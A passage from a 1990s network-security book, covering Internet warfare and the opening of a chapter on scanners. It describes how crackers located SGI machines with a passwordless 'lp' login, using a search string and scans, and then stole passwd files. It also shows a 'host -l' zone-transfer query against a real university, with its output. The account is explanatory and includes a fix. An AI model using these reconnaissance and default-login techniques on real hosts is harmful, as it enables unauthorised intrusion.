(usually thousands \nof) individuals logged into their home network. This presents a terrific problem: No \nmatter how restrictive the policies of an ISP might be, its users will always have some \nlevel of privilege on the network. That is, its users must, at a minimum, have access to \nlog in. Frequently, they have more. \nGranted, with the advent of HTML browsers, the level of access of most users is now \nlower than in the past. In earlier years, users of an ISP's services would log in via Telnet. \nThus, users were logged directly to the server and received shell access. From this point, \nsuch users were capable of viewing many different files and executing a variety of \nprograms. Thus, for ISPs of the old days, internal threats were substantial. In contrast, \nmost users access today using some dial-up program that provides a PPP link between \nthem and the ISP. The remaining navigation of the Internet is done through a browser, \nwhich often obviates the need for the user to use Telnet. Nevertheless, internal threats \nremain more common than any other type. \nThe majority of these threats are from small-time crackers looking to steal the local \npassword files and gain some leverage on the system. However, there exists a real risk of \nattacks from the outside. Sometimes, for no particular reason, crackers may suddenly \nattack an ISP. Here are some recent examples: \n• \nA cracker repeatedly attacked an ISP in Little Rock, Arkansas, at one point taking down its servers \nfor a period of more than four hours. The FBI picked up that case in a heartbeat. \n• \nPanix.com was subjected to an onslaught of denial-of-service attacks that lasted for more than a \nweek. \nCybertown, a popular spot for Net surfers, was cracked. Crackers apparently seized \ncontrol and replaced the attractive, friendly Web pages with their own. This same group \nof crackers reportedly later seized control of Rodney Dangerfield's site. Mr. Dangerfield, \nit seems, cannot get any respect, even on the Internet. \nUniversities are in exactly the same position. The only major difference is that \nuniversities have some extremely talented security enthusiasts working in their computer \n" }, { "page_number": 128, "text": " \n \nscience labs. (Some of the higher-quality papers about security posted to the Internet have \ncome from such students.) \nThese entities are constantly under attack and in a state of war. So what types of tools are \nthey using to protect themselves? Not surprisingly, most of these tools are defensive in \ncharacter. The majority, in fact, may do less to protect than to gather evidence. In other \nwords, Big Brother is watching because crackers have forced him to do so. \nThe key utilities currently in use are logging utilities. These are relatively low-profile \nweapons in Internet warfare. They are the equivalent of security guards, and generally \neither alert the supervisor to suspicious activity or record the suspicious activity for later \nuse. A few such utilities are listed in Table 8.3. \nTable 8.3. Various logging and snooping utilities of interest. \nUtility \nFunction \nL5 \nScans either UNIX or DOS directory structures, recording all information about files there. Is \nused to determine suspicious file changes, files in restricted areas, or changes in file sizes. (For \nuse in detecting trojans.) \nClog \nListens to determine whether crackers (from the outside) are trying to find holes in the system. \nLogCheck Automates log file analysis to determine whether system violations have occurred. It does this \nby scanning existing log files. \nNetlog \nListens and logs TCP/IP connections, searching for suspicious activity therein. This package is \nfrom Texas A&M University. \nDumpACL Windows NT utility that formats important access-control information into convenient, \nreadable formats for quick analysis of the system's security. \nLater in this book, I will examine dozens of utilities like those in Table 8.3. The majority \nof utilities mentioned so far are either freeware, shareware, or relatively inexpensive. \nThey are used chiefly by public entities such as ISPs and universities. However, an entire \nworld of corporate sources is available. As you might expect, American corporations are \nconcerned about their security. \nCorporations often maintain sensitive information. When they get cracked, the crackers \nusually know what they are looking for. For example, the famous cracker Kevin Mitnik \nreportedly attempted to steal software from Santa Cruz Operation (SCO) and Digital \nEquipment Corporation (DEC). These two companies manufactured high-performance \noperating systems. Mitnik was allegedly interested in obtaining the source code of both. \nUndoubtedly, Mitnik had intentions of examining the internal workings of these systems, \nperhaps to identify flaws within their structures. \nCorporations operate a little bit differently from other entities, largely because of their \norganizational structure. Management plays a strong role in the security scheme of any \ncorporation. This differs from universities or ISPs where those with actual security \nknowledge are handling the situation. \nCorporate entities are going to have to come to terms with Internet warfare very soon. For \nalthough corporations have the resources to keep penetration of their networks secret, this \npractice is not advisable. Corporate America wants the Internet badly. In the Internet, \n" }, { "page_number": 129, "text": " \n \nthey see potential for profit as well as networking. (Several banks have already begun \npreparing to provide online banking. How effectively they can implement this remains to \nbe seen.) \nSome excellent research has proven that a large portion of corporate America is not \nsecure. In Chapter 9, \"Scanners,\" you will learn about scanners, which conduct automated \nsecurity surveys of remote sites. One such utility is SATAN. This tool was created for the \nbenefit of Internet security by Dan Farmer and Weitse Venema. In December, 1996, Dan \nFarmer conducted a survey of approximately 2,000 randomly chosen networks in the \nvoid. \nThe survey was called \"Shall We Dust Moscow? Security Survey of Key Internet Hosts \n& Various Semi-Relevant Reflections.\" A significant number of the sampled hosts were \ncorporate sites, including banks, credit unions, and other financial institutions: \norganizations that are charged with keeping the nation's finances secure. Farmer's \nfindings were shocking. Large numbers of corporate sites could be cracked by attackers \nwith minimal to complex knowledge of the target host's operating system. \n \nCross Reference: Rather than parade Mr. Farmer's hard-earned statistics here, I will \npoint you to the site where the survey is publicly available: \nhttp://www.trouble.org/survey/. \n \nIf you examine the survey, you will find that almost 60 percent of those sites surveyed \nare in some way vulnerable to remote attack. Many of those are institutions on which the \nAmerican public relies. \nToday, corporate entities are rushing to the Net in an effort to establish a presence. If \nsuch organizations are to stay, they must find resources for adequate security. Again, the \nproblem boils down to education. While I was writing this chapter, I received an e-mail \nmessage from a firm on the east coast, requesting an estimate on a security audit. That \nsite maintained no firewall and had three possible entry points. Two of these machines \nwere easily crackable by any average cracker. The remaining machine could be cracked \nafter running just one SATAN scan against it. \nIf there is any group of individuals that needs to obtain books like this one (and, the \nwealth of all security information now available on the Net), it is America's corporate \ncommunity. I have had consultations with information managers that have an uphill battle \nin convincing their superiors that security is a major issue. Many upper-level \nmanagement officers do not adequately grasp the gravity of the situation. Equally, these \nfolks stand a good chance of being taken, or fleeced, by so-called security specialists. All \nin all, a dirty war is being fought out there. \nBefore I close with some reflections about government, I would like to impart this: \nInternet warfare occurs between all manners of individual and organization on the \nInternet. This trend will only continue to increase in the near future. There are bandits, \ncharlatans, gunslingers, and robbers...the Internet is currently just slightly less lawless \nthan the stereotypical image of the Old West. Until laws become more concrete and \nfocused, my suggestion to you, no matter what sector you may occupy, is this: Absorb \n" }, { "page_number": 130, "text": " \n \nmuch of the voluminous security literature now available on the Internet. Throughout this \nbook, I provide many references to assist you in that quest. \nThe Government \nGovernment Internet warfare refers to that warfare conducted between the U.S. \ngovernment and foreign powers. (Though, to be honest, the majority of Internet warfare \nthat our government has waged has been against domestic hackers. I will briefly discuss \nthat issue a little later on in this section.) \nOne would imagine that the U.S. government is amply prepared for Internet warfare. \nWell, it isn't. Not yet. However, recent research suggests that it is gearing up for it. In a \n1993 paper, specialists from Rand Corporation posed the question of whether the United \nStates was prepared for a contingency it labeled cyberwar. The authors of that paper \nposed various questions about the U.S.'s readiness and made recommendations for \nintensive study on the subject: \nWe suggest analytical exercises to identify what cyberwar, and the different modalities of \ncyberwar, may look like in the early twenty-first century when the new technologies should be \nmore advanced, reliable, and internetted than at present. These exercises should consider \nopponents that the United States may face in high- and low-intensity conflicts. CYBERWAR IS \nCOMING!2 \n \n2John Arquilla and David Ronfeldt, International Policy Department, RAND. 1993. \nTaylor & Francis. ISSN: 0149-5933/93. \n \nIndeed, the subject of cyberwar is a popular one. Many researchers are now involved in \nassessing the capability of U.S. government agencies to successfully repel or survive a \ncomprehensive attack from foreign powers. John Deutch, head of the CIA, recently \naddressed the U.S. Senate regarding attacks against our national information \ninfrastructure. In that address, the nation's chief spy told of a comprehensive assessment \nof the problem: \nWe have a major national intelligence estimate underway which will bring together all parts of the \ncommunity, including the Department of Justice, the Defense Information Systems Agency, the \nmilitary, the FBI, criminal units from the Department of Justice in providing a formal intelligence \nestimate of the character of the threats from foreign sources against the U.S. and foreign \ninfrastructure. We plan to have this estimate complete by December 1 of this year. \nHow likely is it that foreign powers will infiltrate our national information infrastructure? \nThat is difficult to say because the government now, more than ever, is getting quiet \nabout its practices of security on the Net. However, I would keep a close eye in the near \nfuture. Recent events have placed the government on alert and it has intentions, at least, \nof securing that massive (and constantly changing) entity called the Internet. I do know \nthis: There is a substantial movement within the government and within research \ncommunities to prepare for Internet warfare on an international scale. \n \nCross Reference: I want to point you to an excellent starting point for information about \nInternet warfare. It is a site that contains links to many other sites dealing with Internet \nand information warfare. These links provide a fascinating and often surprising view. The \nsite can be found at http://www.fas.org/irp/wwwinfo.html. \n" }, { "page_number": 131, "text": " \n \n \nWithin the next five years, we will likely begin engaging in real Internet warfare with real \nenemies. And, for all we know, these real enemies may have already started warring with \nus. \nSummary \nAs more and more users flock to the Internet, Internet warfare will increase in prevalence \nwhether at the governmental, corporate, or personal level. For this reason, each user \nshould have a minimum of knowledge about how to defend (if not attack) using standard \nInternet warfare techniques. This is especially so for those who have networks connected \n24 hours a day. Sooner or later, whether you want to fight or not, someone will probably \nsubject you to attack. The key is knowing how to recognize such an attack. \nVarious chapters throughout this book (most notably Chapter 9, \"Scanners\") discuss \nattacks from both viewpoints: aggressor and victim. In fact, Part III of this book is \ndevoted specifically to tools (or munitions) used in Internet warfare. I will discuss some \nof these in the next chapter. \n" }, { "page_number": 132, "text": " \n \n9 \nScanners \nIn this chapter, I examine scanners. The structure of this chapter is straightforward and \nvery similar to previous chapters. It begins by answering some basic questions, including \n• \nWhat is a scanner? \n• \nWhat does a scanner do? \n• \nOn what platforms are scanners available? \n• \nWhat system requirements are involved to run a scanner? \n• \nIs it difficult to create a scanner? \n• \nWhat will a scanner tell me? \n• \nWhat won't a scanner tell me? \n• \nAre scanners legal? \n• \nWhy are scanners important to Internet security? \nAfter answering these questions, I will examine the historical background of scanners. \nFrom there, I cover the scanner from a more practical viewpoint. I will differentiate \nbetween true scanners are other diagnostic network tools. I will examine different types \nof scanners, especially very popular ones (such as SATAN and Strobe). At that point, you \nwill gain understanding of what constitutes a scan and what ingredients are necessary to \ncreate a scanner. \nFinally, you will conduct a scan and analyze what information has been gained from it. In \nthis way, you will derive an inside look at scanner functionality. By the end of this \nchapter, you will know what a scanner is, how to deploy one, and how to interpret the \nresults from a scan. In short, I will prepare you for actual, network combat using \nscanners. \nScanners \nIn Internet security, no hacking tool is more celebrated than the scanner. It is said that a \ngood TCP port scanner is worth a thousand user passwords. Before I treat the subject of \nscanners in depth, I want to familiarize you with scanners. \n" }, { "page_number": 133, "text": " \n \nWhat Is a Scanner? \nA scanner is a program that automatically detects security weaknesses in a remote or \nlocal host. By deploying a scanner, a user in Los Angeles can uncover security \nweaknesses on a server in Japan without ever leaving his or her living room. \nHow Do Scanners Work? \nTrue scanners are TCP port scanners, which are programs that attack TCP/IP ports and \nservices (Telnet or FTP, for example) and record the response from the target. In this \nway, they glean valuable information about the target host (for instance, can an \nanonymous user log in?). \nOther so-called scanners are merely UNIX network utilities. These are commonly used to \ndiscern whether certain services are working correctly on a remote machine. These are \nnot true scanners, but might also be used to collect information about a target host. (Good \nexamples of such utilities are the rusers and host commands, common to UNIX \nplatforms.) Such utilities are discussed later in this chapter. \n \nCross Reference: rusers gathers information about users currently logged to the \ntargeted host and in this way, closely resembles the UNIX utility finger. host is also \na UNIX utility, designed to interactively query name servers for all information held on \nthe targeted host. \n \nOn What Platforms Are Scanners Available? \nAlthough they are commonly written for execution on UNIX workstations, scanners are \nnow written for use on almost any operating system. Non-UNIX scanning tools are \nbecoming more popular now that the rest of the world has turned to the Internet. There is \na special push into the Microsoft Windows NT market, because NT is now becoming \nmore popular as an Internet server platform. \nWhat System Requirements Are Necessary to Run a Scanner? \nSystem requirements depend on the scanner, your operating system, and your connection \nto the Internet. Certain scanners are written only for UNIX, making UNIX a system \nrequirement. There are, however, more general requirements of which to be aware: \n• \nYou might encounter problems if you are running an older Macintosh or IBM compatible with a \nslow Internet connection (as would be the case if you used Windows 3.11 running TCPMAN as a \nTCP/IP stack, via a 14.4 modem). These configurations might cause stack overflows or general \nprotection faults, or they might simply cause your machine to hang. Generally, the faster your \nconnection, the better off you are. (And naturally, a true 32-bit system contributes greatly to \nperformance.) \n• \nRAM is another issue, mainly relevant to window-system-based scanners. Command-line \nscanning utilities typically require little memory. Windowed scanners can require a lot. (For a \ncomparison, I suggest running ISS. First, try the older, command-line version. Then run the new \nXiss, which operates through MIT's X Window System, OpenWindows, or any compatible UNIX-\nbased windowing system. The difference is very noticeable.) \n" }, { "page_number": 134, "text": " \n \nBottom line, you must have a compatible operating system, a modem (or other \nconnection to the Net), and some measure of patience. Not all scanners work identically \non different platforms. On some, this or that option might be disabled; on others, \nsometimes very critical portions of the application might not work. \nIs It Difficult to Create a Scanner? \nNo. However, you will require strong knowledge of TCP/IP routines and probably C, \nPerl, and/or one or more shell languages. Developing a scanner is an ambitious project \nthat would likely bring the programmer much satisfaction. Even so, there are many \nscanners available (both free and commercial), making scanners a poor choice as a for-\nprofit project. \nYou will also require some background in socket programming, a method used in the \ndevelopment of client/server applications. \n \nCross Reference: There are many resources online to help you get started; I list two \nhere. The first is a bare-bones introduction to socket programming generated by Reg \nQuinton at The University of Western Ontario. It can be found at \nhttp://tecstar.cv.com/~dan/tec/primer/socket_programming.html. \nAnother excellent source for information about socket programming is \nprovided by Quarterdeck Office Systems as an online programming \nresource. It addresses all supported BSD 4.3 socket routines and is very \ncomprehensive. It is located at http://149.17.36.24/prog/sockets.html. \n \nWhat Will a Scanner Tell Me? \nA scanner might reveal certain inherent weaknesses within the target host. These might \nbe key factors in implementing an actual compromise of the target's security. In order to \nreap this benefit, however, you must know how to recognize the hole. Most scanners do \nnot come with extensive manuals or instructions. Interpretation of data is very important. \nWhat Won't a Scanner Tell Me? \nA scanner won't tell you the following: \n• \nA step-by-step method of breaking in \n• \nThe degree to which your scanning activity has been logged \nAre Scanners Legal? \nYes. Scanners are most often designed, written, and distributed by security personnel and \ndevelopers. These tools are usually given away, via public domain, so that system \nadministrators can check their own systems for weaknesses. However, although scanners \nare not illegal to possess or use, employing one if you are not a system administrator \nwould meet with brutal opposition from the target host's administrator. Moreover, certain \nscanners are so intrusive in their probing of remote services that the unauthorized use of \n" }, { "page_number": 135, "text": " \n \nthem may violate federal or state statutes regarding unauthorized entry of computer \nnetworks. This is a matter of some dispute and one not yet settled in law. Therefore, be \nforewarned. \n \nWARNING: Do not take scanning activity lightly. If you intend to scan wide ranges of \ndomains, check the laws in your state. Certain states have extremely particular \nlegislation. The wording of such statutes is (more often than not) liberally construed in \nfavor of the prosecution. For example, the state of Washington has provisions for \ncomputer trespass. (Wash. Rev. Code Sec. 9A.52 110-120.) If you deploy a scanner that \nattempts to steal the passwd file (a password file on the UNIX platform located in the \ndirectory /ETC), you might actually have committed an offense. I will discuss legal \nissues of hacking and cracking in Chapter 31, \"Reality Bytes: Computer Security and the \nLaw.\" \n \nWhy Are Scanners Important to Internet Security? \nScanners are important to Internet security because they reveal weaknesses in the \nnetwork. Whether this information is used by hackers or crackers is immaterial. If used \nby system administrators, scanners help strengthen security in the immediate sense. If \nemployed by crackers, scanners also help strengthen security. This is because once a hole \nhas been exploited, that exploitation will ultimately be discovered. Some system \nadministrators argue that scanners work against Internet security when in the hands of \ncrackers. This is not true. If a system administrator fails to adequately secure his or her \nnetwork (by running a scanner against it), his or her negligence will come to light in the \nform of a network security breach. \nHistorical Background \nScanners are the most common utilities employed by today's cracker. There is no mystery \nas to why: These programs, which automatically detect weaknesses within a server's \nsecurity structure, are fast, versatile, and accurate. More importantly, they are freely \navailable on the Internet. For these reasons, many sources insist that the scanner is the \nmost dangerous tool in the cracking suite. \nTo understand what scanners do and how they are employed, you must look to the dawn \nof computer hacking. Transport yourself to the 1980s, before the personal computer \nbecame a household item. The average machine had a 10MB hard disk drive and a \nwhopping 640K memory. In fact, our more mature readers will remember a time when \nhard disk drives did not exist. In those early days, work was done by rotating through a \nseries of 5\" floppy diskettes; one for the operating system, one for the current program, \nand one to save your work. \nThose early days are rather amusing in retrospect. Communications were conducted, if at \nall, with modems ranging in speed from 300 to 1200bps. Incredibly, we got along rather \nwell with these meager tools. \nThe majority of users had never heard of the Internet. It existed, true, but was populated \nprimarily by military, research, and academic personnel. Its interface--if we could call it \n" }, { "page_number": 136, "text": " \n \nthat--was entirely command-line based. But these were not the only limitations \npreventing America from flocking to the Net. Machines that could act as servers were \nincredibly expensive. Consider that Sun Microsystems workstations were selling for five \nand six figures. Today, those same workstations--which are scarcely more powerful than \na 25MHz 386--command less than $800 on Usenet. \nWe're talking frontier material here. Civilians with Internet access were generally \nstudents with UUCP accounts. Dial-up was bare-bones, completely unlike today's more \nrobust SLIP, PPP, and ISDN access. In essence, the Internet was in its infancy, its \nexistence largely dependent on those early software authors concerned with developing \nthe system. \nSecurity at that point was so lax that some readers will wonder why the Internet was not \ncompletely overtaken by crackers. The answer is simple. Today, there are massive online \ndatabases and mailing lists that broadcast weaknesses of a dozen different operating \nsystems. Table 9.1 lists a few examples. \nTable 9.1. Online mailing lists of security holes. \nResource \nLocation \nFirewalls mailing list \nFirewalls@GreatCircle.COM \nSneakers mailing list \nSneakers@CS.Yale.EDU \nThe WWW security list WWW-security@ns2.rutgers.edu \nThe NT security list \nNtsecurity@ISS \nBugtraq \nBUGTRAQ@NETSPACE.ORG \nDozens of such mailing lists now exist on the Internet (for a comprehensive list, see \nAppendix A, \"How to Get More Information\"). These lists operate almost completely \nfree of human interaction or maintenance. List members forward their reports via e-mail, \nand this e-mail is distributed to the entire list, which can sometimes be many thousands of \npeople worldwide. In addition, such lists are usually archived at one or more sites, which \nfeature advanced search capabilities. These search capabilities allow any user, list \nmember, or otherwise to search for inherent vulnerabilities in every operating system \nknown to humankind. \n \nJoining a list: Joining such a list is generally a simple process. Most lists require that you \nsend an e-mail message to a special address. This address accepts commands from your \nfirst line of the e-mail message. The structure of this command may vary. In some cases, \nthat command is as simple as subscribe. In other cases, you may be required to issue \narguments to the command. One such argument is the name of the list. For example, the \nFirewalls mailing list at GreatCircle.com requires that you send subscribe \nfirewalls as the first line of your e-mail. \nPlease note that this must be the first line of the e-mail message, and not \nthe subject line. This message is then sent to \nmajordomo@greatcircle.com. The address majordomo is a very common \none for processing mailing list subscription requests. Of course, each list is \ndifferent. To quickly determine the requirements for each security list, I \nsuggest you use Eugene Spafford's Web page as a springboard. Mr. \n" }, { "page_number": 137, "text": " \n \nSpafford lists links on his page to most of the well-known security mailing \nlists. \n \n \nCross Reference: Spafford's page is at \nhttp://www.cs.purdue.edu/homes/spaf/hotlists/csec-top.html. From Spafford's page, \nyou can get to instructions on how to subscribe to any of the linked lists. \n \nIn the beginning, however, there were no such databases. The databases did not exist \nlargely because the knowledge did not exist. The process by which holes get discovered \ninherently involves the exploitation of such weaknesses. More simply put, crackers crack \na machine here and a machine there. By and by, the weaknesses that were exploited in \nsuch attacks were documented (and in certain instances, eradicated by later, superior \ncode). This process, as you might expect, took many years. The delay was based in part \non lack of knowledge and in part on the unwillingness of many system administrators to \nadmit their sites had been penetrated. (After all, no one wants to publicize that he \nimplements poor security procedures.) \nSo the stage is set. Picture a small, middle-class community with stately homes and \nnicely trimmed lawns. It is near midnight. The streets are empty; most of the windows in \nthe neighborhood are dark, their shades drawn tight. One window is brightly lit, though, \nand behind it is a young man of 15 years; before him is a computer (for the sake of \natmosphere, let's label it an old portable CoreData). \nThe boy is dialing a list of telephone numbers given to him by a friend. These are known \nUNIX boxes sprinkled throughout a technology park a few miles away. Most of them \naccept a connection. The common response is to issue a login prompt. Each time the boy \nconnects to such a machine, he tries a series of login names and passwords. He goes \nthrough a hundred or more before finally, he obtains a login shell. What happens then is \nup to him. \nIt is hard to believe that early cracking techniques involved such laborious tasks. \nDepending on the operating system and the remote access software, one might have to \ntype dozens of commands to penetrate a target. But, as much as crackers are industrious, \nthey are also lazy. So, early on, the war dialer was developed. \nA war dialer consists of software that dials a user-specified range of telephone numbers \nsearching for connectables (machines that will allow a remote user to log in). Using these \ntools, a cracker can scan an entire business exchange in several hours, identifying all \nhosts within that range. In this way, the task of locating targets was automated. \nBetter yet, war dialers record the response they receive from each connect. This data is \nthen exported to a human-readable file. Thus, in neatly written tables, one can tell not \nonly which numbers connected, but also what type of connection was initiated (such as \nmodem, 2400 baud or fax machine). \n \nNOTE: The term war dialer reportedly originated from the film WarGames. The film's \nplot centered around a young man who cracked his way into American military networks. \n" }, { "page_number": 138, "text": " \n \nSome people believe that the film was inspired by the antics of the now-famous cracker, \nKevin Mitnik. Mitnik was a young teen when he cracked a key military network. \n \n \nCross Reference: If you want to check out a war dialer in action, I suggest getting \nToneloc. It is freely available on the Internet and is probably the best war dialer ever \nmade. It was written to run in DOS, but it also runs in Windows 95 via command prompt \n(though perhaps not as smoothly as it should). It is available at \nftp://ftp.fc.net/pub/defcon/TONELOC/tl110.zip. \n \nIn essence, scanners operate much like war dialers with two exceptions: \n• \nScanners are used only on the Internet or other TCP/IP networks. \n• \nScanners are more intelligent than war dialers. \nEarly scanners were probably very simplistic. I say probably because such programs \nwere not released to the Internet community the way scanning tools are today (I therefore \nhave no way of knowing what they looked like). Thus, when I write of early scanners, I \nmean basic programs written by system administrators for the purposes of checking their \nown networks. These were most likely UNIX shell scripts that attempted to connect on \nvarious ports, capturing whatever information was directed to the console or STDOUT. \nSTDOUT refers to the output that one sees on the console or at a command prompt. In other \nwords, it is the output of a given command. The STD refers to standard, and the OUT refers \nto output. STDOUT, therefore, is the standard output of any given command. The STDOUT \nresult of a directory listing, for example, is a list of filenames and their sizes. \nThe Attributes of a Scanner \nThe primary attributes of a scanner are \n• \nThe capability to find a machine or network \n• \nThe capability, once having found a machine, to find out what services are being run on the host \n• \nThe capability to test those services for known holes \nThis process is not incredibly complex. At its most basic, it involves capturing the \nmessages generated when one tries to connect to a particular service. To illustrate the \nprocess step by step, let's address these attributes one at a time. \nLocating a Potential Target \nThe Internet is vast. There are literally millions of potential targets in the void. The \nproblem facing modern crackers is how to find those targets quickly and effectively. \nScanners are well suited for this purpose. To demonstrate how a scanner can find a \npotential target, determine what services it is running, and probe for weaknesses, let's \npick on Silicon Graphics (SGI) for the remainder of this section. Here, you will see how \nscanners are regularly employed to automate human cracking tasks. \n" }, { "page_number": 139, "text": " \n \nA Hole Is Discovered \nIn late 1995, Silicon Graphics (SGI) shipped a large number of WebForce models. These \nwere extremely powerful machines, containing special software to generate media-rich \nWWW pages. They ran IRIX, a proprietary form of UNIX, specifically designed for use \nwith SGI graphics workstations. \nCertain versions of IRIX retained a default login for the line printer. That is, if a user \ninitiated a Telnet session to one of these SGI boxes and logged in as lp, no password \nwould be required. \nTypically, the cracker would be dropped to a shell prompt from which he or she could \nexecute a limited number of commands. Most of these were standard shell commands, \navailable to any user on the system. These did not require special privileges and \nperformed only basic functions, such as listing directories, displaying the contents of \nfiles, and so forth. Using these commands, crackers could print the contents of the \npasswd file to the screen. Once they had obtained this display, they would highlight the \nscreen, clip the contents, and paste them into a text editor on their local machine. They \nwould save this information to a local file and subsequently crack the encrypted \npasswords from the SGI system. \n \nTIP: A number of automated password-cracking utilities exist. Most often, these are \ndesigned to crack DES-encrypted passwords, common to UNIX systems. I will cover \nthese utilities in Chapter 10, \"Password Crackers.\" \n \nNews of this vulnerability spread quickly. Within days, the word was out: SGI WebForce \nmachines could be attacked (and their security compromised) with little effort. For \ncrackers, the next step was to find these machines. \nLooking for WebForce Models \nTo exploit this hole, crackers needed to find WebForce models. One way to do so was \nmanually. For a time, search engines such as altavista.digital.com could be used to \nlocate such machines en masse. This is because many of the WebForce models were \nadministrated by those with strong knowledge of graphic arts and weak knowledge of \nsecurity. These administrators often failed to institute even the most basic security \nmeasures. As such, many of these machines retained world-readable FTP directories. \nThese directories were therefore visible to search engines across the Internet. \nThe FTP directories of these SGI models contained standard, factory-default \n/etc/passwd files. Contained within these were the login names of system users. The \nmajority of these login names were common to almost any distribution of UNIX. \nHowever, these passwd files also included unique login names. Specifically, they \ncontained login names for several utilities and demo packages that shipped with the \nsoftware. One of these was a login called EZSetup. Thus, a cracker needed only to issue \nthe following search string into any well known search engine: \nEzSetup + root: lp: \n" }, { "page_number": 140, "text": " \n \nThis would return a list of WebForce models. The cracker would then take that list and \nattempt to crack each machine. It was a quick and dirty way to collect a handful of \npotential targets. However, that trend didn't last long (about a month or so). Advisories \nwere posted to the Net, explaining that world-readable directories were responsible for \nthe compromise of SGI security. So crackers turned elsewhere. \nSome used the InterNIC database to find such machines (the WHOIS service). The \nWHOIS service, housed at internic.net, is a database of all registered machines \ncurrently on the Internet. One can query this database (to find out the network numbers or \nthe owner's address of a given machine) by issuing a WHOIS instruction at a UNIX \ncommand prompt. The structure of such a command is whois mci.net. For those who \ndo not use UNIX, one can either Telnet directly to InterNIC (internic.net) or use one \nof the utilities described later in this chapter. \nMany hosts included words within their registered names that suggested at least a fleeting \nprobability that they owned an SGI, such as \n• \nGraphics \n• \nArt \n• \nIndy \n• \nIndigo \nThe terms Indy and Indigo commonly appear on either the Web site or the directory \nstructure of an SGI workstation. That is because the product line is based on the Indigo \nmodel, which is often referred to as the Indy product line. \nSome InterNIC entries also include the operating system type being run on the host. \nThus, a search for the string IRIX could reveal a few machines. However, these methods \nwere unreliable. For example, many versions of IRIX did not suffer from the lp bug \n(neither did every WebForce model). So, instead, many crackers employed scanners. \nUsing Scanners to Uncover WebForce Models \nFinding WebForce models using a scanner was an easy task. A range of addresses (such \nas 199.171.190.0 to 199.171.200.0) would be picked out, perhaps randomly, perhaps \nnot. The cracker would specify certain options. For example, the scan didn't need to have \ngreat depth (an issue we will be discussing momentarily). All it needed to do was check \neach address for a Telnet connection. For each successful connection, the scanner would \ncapture the resulting text. Thus, a typical entry might look something like this: \nTrying 199.200.0.0 \nConnected to 199.200.0.0 \nEscape Character is \"]\" \n \nIRIX 4.1 \nWelcome to Graphics Town! \nLogin: \nThe resulting information would be written to a plain text file for later viewing. \n" }, { "page_number": 141, "text": " \n \nTalented crackers would write an ancillary program to automate the entire process. Here \nare the minimum functions that such a program would require: \n• \nStart the scan, requesting the option to test Telnet connections for the lp login. \n• \nWait until a signal indicating that the scan is completed is received. \n• \nAccess the result file, exporting only those results that show successful penetration. \n• \nFormat these results into flat-file, database format for easy management. \nThe scan would run for several hours, after which the cracker would retrieve a list of \ncompromised Indy machines. Later, perhaps at night (relative to the geographical \nlocation of the target host), the cracker would log in and being the process of grabbing \nthe password files. \n \nTIP: If you know of an SGI machine and you want to view the IP address of the last \nperson who exploited this vulnerability, finger lp@the.sgi.box. This author traced \ndown a person at Texas A&M University who was compromising machines from Los \nAngeles to New York using this technique. This young man's originating address \nappeared on 22 machines. (Some of these were of well- known institutions. While we \ncannot identify them here, one was a graphic design school in New York City. Another \nwas a prominent gay rights organization in Los Angeles. To this day, these machines may \nwell be vulnerable to such an attack. Alas, many SGI users are gifted graphic artists but \nhave little background in security. A renowned university in Hawaii missed this hole and \nhad an entire internal network torn to pieces by a cracker. He changed the root passwords \nand destroyed valuable data.) \n \n \n \nNOTE: If you currently have a WebForce model, you can test whether it is vulnerable to \nthis simple attack. First, Telnet to the machine. When confronted with a login prompt, \nenter the string lp and press Enter. If you are immediately logged into a shell, your \nmachine is vulnerable. If so, this can be quickly remedied by opening the file \n/etc/passwd and inserting an asterisk between the first and second fields for the user \nlp. Thus, the leading portion of the line would look like this: \nlp:*:4:7:lp:/var/spool/lpd: \ninstead of like this: \nlp::4:7:lp:/var/spool/lpd: \nThe idea is to create a locked login. If you fail to do so, the problem will \nremain because the system is configured to accept a line printer login \nwithout requesting a password. \n \nOf course, this is a very primitive example, but it illustrates how potential targets are \nsometimes found with scanners. Now I want to get more specific. Momentarily, you will \nexamine various scanners currently available on the Internet. Before that, however, you \nneed to distinguish between actual scanners and network utilities that are not scanners. \n" }, { "page_number": 142, "text": " \n \nNetwork Utilities \nSometimes people erroneously refer to network utilities as scanners. It is an easy mistake \nto make. In fact, there are many network utilities that perform one or more functions that \nare also performed during a bona fide scan. So, the distinction is significant only for \npurposes of definition. \nBecause we are focusing on scanners, I would like to take a moment to illustrate the \ndistinction. This will serve two purposes: First, it will more clearly define scanners. \nSecond, it will familiarize you with the rich mixture of network resources available on \nthe Internet. \nThe network utilities discussed next run on a variety of platforms. Most of them are \nported from UNIX environments. Each utility is valuable to hackers and crackers. \nSurprisingly, garden-variety network utilities can tell the user quite a bit, and these \nutilities tend to arouse less suspicion. In fact, many of them are totally invisible to the \ntarget host. This is in sharp contrast to most scanners, which leave a large footprint, or \nevidence of their existence, behind. In this respect, most of these utilities are suitable for \ninvestigating a single target host. (In other words, the majority of these utilities are not \nautomated and require varying levels of human interaction in their operation.) \nhost \nhost is a UNIX-specific utility that performs essentially the same operation as a standard \nnslookup inquiry. The only real difference is that host is more comprehensive. Note, \ntoo, that various non-UNIX utilities discussed in the following pages also perform similar \nor equivalent tasks. \nhost ranks as one of the ten most dangerous and threatening commands in the gamut. To \ndemonstrate why, I pulled a host query on Boston University (BU.EDU). The command \nline given was \nhost -l -v -t any bu.edu \nThe output you are about to read is astonishing. A copious amount of information is \navailable, including data on operating systems, machines, and the network in general. \n(Also, if you are deep into security, some preliminary assumptions might be made about \ntrust relationships.) Examine a few lines. First, let's look at the basic information: \nFound 1 addresses for BU.EDU \nFound 1 addresses for RS0.INTERNIC.NET \nFound 1 addresses for SOFTWARE.BU.EDU \nFound 5 addresses for RS.INTERNIC.NET \nFound 1 addresses for NSEGC.BU.EDU \nTrying 128.197.27.7 \nbu.edu 86400 IN SOA BU.EDU HOSTMASTER.BU.EDU( \n 961112121 ;serial (version) \n 900 ;refresh period \n 900 ;retry refresh this often \n 604800 ;expiration period \n 86400 ;minimum TTL \n ) \n" }, { "page_number": 143, "text": " \n \nbu.edu 86400 IN NS SOFTWARE.BU.EDU \nbu.edu 86400 IN NS RS.INTERNIC.NET \nbu.edu 86400 IN NS NSEGC.BU.EDU \nbu.edu 86400 IN A 128.197.27.7 \nThis in itself is not damaging. It identifies a series of machines and their name servers. \nMost of this information could be collected with a standard WHOIS lookup. But what \nabout the following lines: \nbu.edu 86400 IN HINFO SUN-SPARCSTATION-10/41 UNIX \nPPP-77-25.bu.edu 86400 IN A 128.197.7.237 \nPPP-77-25.bu.edu 86400 IN HINFO PPP-HOST PPP-SW \nPPP-77-26.bu.edu 86400 IN A 128.197.7.238 \nPPP-77-26.bu.edu 86400 IN HINFO 